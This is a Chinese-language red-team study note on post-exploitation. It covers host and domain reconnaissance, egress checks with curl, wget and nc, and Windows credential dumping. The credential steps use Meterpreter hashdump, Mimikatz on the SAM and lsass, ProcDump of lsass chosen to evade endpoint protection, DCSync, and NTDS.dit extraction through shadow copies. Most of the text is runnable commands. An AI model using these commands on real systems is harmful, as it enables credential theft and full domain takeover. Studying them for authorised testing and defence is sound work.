内网信息收集
收集什么
- 系统信息、权限信息、用户信息
- 网络信息(IP、C 段、DNS、是否出网、ARP、端口)
- 敏感信息(敏感文件、桌面、浏览器历史记录、命令历史记录、WiFi、蓝牙、RDP 连接记录)
操作系统信息收集
操作系统版本
# Linux
uname -a
cat /etc/*-release
# Windows
systeminfo
进程
# Linux
ps aux
ps -elf
top
# Windows
tasklist
wmic process list brief
软件
# windows 系统安装了那些软件
wmic product get name,version
# Windows 系统开机自启项
wmic startup get command,caption
# Windows 有哪些服务
wmic service list brief
# Windows 有哪些计划任务
schtasks /query /fo LIST /v
# Linux 有哪些计划任务
cat /var/spool/cron/*
cat /var/spool/cron/crontabs/*
cat /etc/crontab
用户
# Windows 查看用户、用户组
net user
net user [userName]
net localgroup
net localgroup administrators
# Windows 查看权限
whoami /all
whoami /priv
# Linux 查看权限
id
cat /etc/passwd
sudo -l
cat /etc/sudoers
网络信息
# IP 地址信息
ip a
ifconfig
ipconfig
cat /etc/hosts
type C:\windows\system32\drivers\etc\hosts
# C 段(内网存活主机)
## Nmap
nmap -sn -PE [IP or 网段]
## ARP 扫描
msf arp_sweep
nmap -sn -PR [IP or 网段]
# NetBIOS 扫描
nmap -sU -T4 --script nbstat.nse -p [IP or 网段]
# 工具:KScan、Goby
是否出网
靶机是否能够联网。
# TCP 是否出网
# 云服务器开启 TCP 或 HTTP 监听
# 靶机执行
curl [URL]
wget [URL]
nc [IP] [PORT]
powershell [命令]
# UDP 是否出网
ping dnslog 域名
# ICMP 是否出网
ping [IP] # 能 ping 通就能出网
ARP 信息
arp -a
端口
netstat -anltup
netstat -ano
其他敏感信息
Windows
敏感文件。
文件共享:
- 查看是否有除默认之外的其他共享:
net share
。 - 查看机器是否已经连接了其他电脑的共享:
net use
。
- 查看是否有除默认之外的其他共享:
WiFi 连接记录:
netsh wlan show profile netsh wlan show profile name="wifiName" key=clear
浏览器历史记录、浏览器保存的密码、浏览器中的 Cookie。
回收站:
cd C:\$Recycle.bin\SID # SID 可以通过 whoami /all 看到 # $I 开头的文件是文件被删除前,所在目录绝对路径 # $R 开头的文件是被删除文件的具体内容
Linux
查看当前登录的用户:
w
。TTY 列可能有两个值,若是
pts/ID
:远程终端,比如 SSH;若是tty/ID
:本地模拟终端。查看有哪些用户曾经登录过:
last
。查看有哪些用户曾经登录失败:
lastb
。查看历史记录:
history
,cat /root/.*_history
,cat /home/*/.*_history
。find 命令:
# 查找系统中所有 .yaml 后缀的文件 find / -name "*.yaml" 2>/dev/null # 查找系统上有 "password" 字符串的所有文件 grep -rn / "password" 2>/dev/null
Windows 凭证
Hash
将一个不定长度的字符,加密成固定长度的字符,Hash 不支持逆运算。
Windows 使用的 Hash:LM Hash 和 NTLM Hash。
- LM Hash:Windows Vista 后被废弃。
- NTLM Hash:从 Windows Vista 沿用至今。
SAM 数据库
用于保存 Windows 本地用户信息。
位置:C:\Windows\System32\config\SAM
该文件仅完整管理员可读。
Windows 下载命令:
certutil -urlcache -split -f [downloadURL]
meterpreter 获取 hash:
用户名:用户ID:LM hash(已废弃):NTLM hash
连接以后执行命令 hashdump
即可获取。
Meterpreter 获取明文密码:
原理:Windows Server 2012 R2 操作系统之前,lsass 进程会缓存用户登录时输入的明文密码。
load kiwi
getsystem
getuid # 获取到的结果必定是 system
creds_all
Mimikatz:
: # 查看帮助信息
:: # 查看模块帮助信息
# 读取 SAM 数据库
privilege::debug # 获取 Windows debug 权限
token::elevate # 模拟 SYSTEM 令牌用户
lsadump::sam # 读取 SAM 数据库
# 读取 lsass 中的明文密码
privilege::debug
sekurlsa::logonpasswords
SAM 文件只有 SYSTEM 用户可以读取。
SYSTEM 用户是 Windows 操作系统最高权限模拟出来的令牌用户,不能被直接登录。
保存 SAM 数据库
如果目标有终端防护软件,Mimikatz 会被检测到,应对策略就是不把 Mimikatz 传到目标机器,而是将目标机器的 SAM 下载下来,而后再去读取 SAM。
将靶机的 SAM 文件保存下来。
# reg 是 SYSTEM 权限
reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security
将保存的三个文件传输到攻击机。
在攻击机上执行 Mimikatz 读取三个文件中保存的 NTLM Hash。
.\mimikatz.exe
log logs.txt
lsadump::sam /sam:sam /system:system /security:security
exit
保存 lsass 进程
工具:ProcDump
上传 procdump.exe 到目标靶机。
.\procdump.exe -accepteula -ma lsass.exe lsass.dmp
随后 lsass.exe 进程即被保存为 lsass.dmp 文件,并将该文件下载到攻击机。
使用 Mimikatz 读取 lsass.dmp 里保存的明文密码。
.\mimikatz.exe
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
exit
域环境信息收集
基础信息
成员主机登录了域用户。
# 查看域用户
net user /domain
# 查看域用户组
net group /domain
# 查看域中成员主机
net group "domain computers" /domain
# 查看域控
net group "domain controllers" /domain
# 查看域管用户
net group "domain admins" /domain
# 查看指定用户是否为域管
# 域管用户在本地组 administrators 组内
# 以及在全局组 domain admins 和 enterprise admins 内
net user [userName] /domain
定位域控
ping
net group "domain controllers" /domain
# 获取域控主机名
ping -n 1 域控主机名
nslookup
nslookup 域控主机名
ipconfig /all
ipconfig /all
DNS 地址是否是域控,不能确定。有可能 DNS 服务器与域控是在不同的机器上。
LDAP
ipconfig /all
#获取域名
nslookup _LDAP._TCP.dc._msdcs.域名
SPN
SPN 服务主体名称,域中的网络服务注册了 SPN 才会使用 Kerberos 认证,否则会降级继续使用网络认证。
如下图中,WINSER8 的 HOST(SMB)服务注册了 SPN,域中其他机器,连接 WINSER8 的 SMB 服务,会经过 Kerberos 认证,在此次的 Kerberos 认证过程中,服务 NTLM Hash 是指 WINSER8$ 用户的 NTLM Hash。
setspn -Q */*
在 SPN 中,SPN 会有自己的名字,比如 HOST 是 SMB 服务、TERMSRV 是 RDP 服务等。
SPN 服务 | 用途描述 | 示例格式 |
---|---|---|
HOST | 通用主机服务标识,通常用于操作系统基础服务(如 RPC、文件共享等) | HOST/server1.domain.com |
HTTP | Web 服务(如 IIS、Apache 等) | HTTP/webapp.domain.com: 8080 |
MSSQLSvc | Microsoft SQL Server 数据库服务 | MSSQLSvc/sqlserver.domain.com: 143 |
TERMSRV | 远程桌面服务(RDP) | TERMSRV/rdp-server.domain.com |
CIFS | 文件共享服务(Common Internet File System) | CIFS/fileserver.domain.com |
LDAP | 轻量目录访问协议服务(如 Active Directory 域控制器) | LDAP/dc1.domain.com |
DNS | 域名解析服务 | DNS/dns-server.domain.com |
FTP | 文件传输协议服务 | FTP/ftp-server.domain.com |
Exchange | Microsoft Exchange 邮件服务 | Exchange/mail.domain.com |
RPC | 远程过程调用服务(如 DCOM、分布式应用通信) | RPC/app-server.domain.com |
SMTP | 简单邮件传输协议服务 | SMTP/mailrelay.domain.com |
WSMAN | Windows 远程管理服务(WinRM) | WSMAN/management.domain.com |
域环境密码凭证获取
活动目录数据库 NTDS 中保存域用户策略和 Hash,位于域控机器 C:\windows\ntds\ntds.dit
。
域管读取 NTDS — DCSync
前提:成员主机 + 域管用户,在成员主机使用 Mimikatz。
lsadump::dcsync /all /csv
DCSync 域控同步服务:
Mimikatz 发出想要成为备份域控的请求,主域控就会把 ntds.dit 同步给 Mimikatz 所在的成员主机。
域控读取 NTDS — VSS
前提:域控机器 + 管理员。
VSS 服务(Volume Shadow Copy Service):卷影复制服务,可以用于 Windows 备份,创建 Windows 还原点。
首先为 C 盘创建一个快照。
vssadmin create shadow /for=C:
从快照内将 ntds.dit 文件复制出来读取。
# 卷影副本卷名相当于 C:\ copy 卷影副本卷名\windows\ntds\ntds.dit \path\to\save
同时将域控中的 system 文件导出。
reg save HKLM\system system
将 ntds.dit 文件传输到攻击机,使用 impacket-examples-windows 的 secretsdump.exe 读取信息。
secretsdump.exe -system system -ntds ntds.dit LOCAL
注:secretsdump.exe 会受到 Windows CMD 编码影响,导致读取错误。